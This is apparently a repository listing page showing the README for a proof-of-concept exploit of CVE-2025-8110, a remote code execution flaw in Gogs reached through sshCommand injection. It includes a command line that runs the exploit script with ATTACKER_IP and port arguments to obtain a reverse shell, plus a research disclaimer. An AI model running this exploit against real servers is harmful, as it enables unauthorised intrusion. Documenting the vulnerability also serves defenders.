KO
|
EN
gitlite — search
Search
#typescript
#dsh-plugin
#ai-agents
#ai
#deepseek-harness
#java
#cli
#open-source
#ios
#python
#react
#dsh
gogs-CVE-2025-8110
★ 29
Open GitHub ↗
CVE-2025-8110 PoC
Download README (.md)
Explore Similar Repositories
Autopt
:
具有普适性的AI化自动渗透测试系统
CopiloTTS
:
Kotlin Multiplatform Mobile Text-to-speak SDK for using either native TTS or Supertonic
TRAPO
:
Official Repository of "[ICLR26] TRAPO: A Semi-Supervised Reinforcement Learning Framework for Boosting LLM Reasoning"
procinfo
:
Get process information straight from bash, minimal dependencies.
makeloops
:
Make loops from your browser.
// repository documentation
Was this content helpful?
★ 0
(0 ratings)
Select Rating:
★
★
★
★
★
Submit Feedback
Recent Feedback
×
Download README
Do you want to download the
README.md
file for
gogs-CVE-2025-8110
?
Download (.md)
# Gogs CVE-2025-8110 PoC This repository contains a Proof of Concept (PoC) for CVE-2025-8110, a Remote Code Execution (RCE) vulnerability in Gogs. The exploit targets the internal SSH server implementation, allowing attackers to inject malicious commands via the `sshCommand` configuration. ## Usage To run the exploit, use the `CVE-2025-8110.py` script with the target Gogs URL and your listening host/port for the reverse shell. ```bash python3 CVE-2025-8110.py -u <TARGET_URL> -lh <ATTACKER_IP> -lp <ATTACKER_PORT> ``` ### Arguments - `-u`, `--url`: Base URL of the target Gogs instance (e.g., `http://localhost:3000`). - `-lh`, `--host`: IP address where the reverse shell should connect back to. - `-lp`, `--port`: Port where the reverse shell should connect back to. - `-x`, `--proxy`: (Optional) Use a local proxy at `http://localhost:8080` for debugging. ## Legal Disclaimer This Proof of Concept (PoC) is for educational and research purposes only. It is intended to help security researchers and administrators understand and mitigate the CVE-2025-8110 vulnerability. The author takes no responsibility for any unauthorized or malicious use of this code. Use this tool only on systems you own or have explicit permission to test. By using this code, you agree to take full responsibility for your actions.
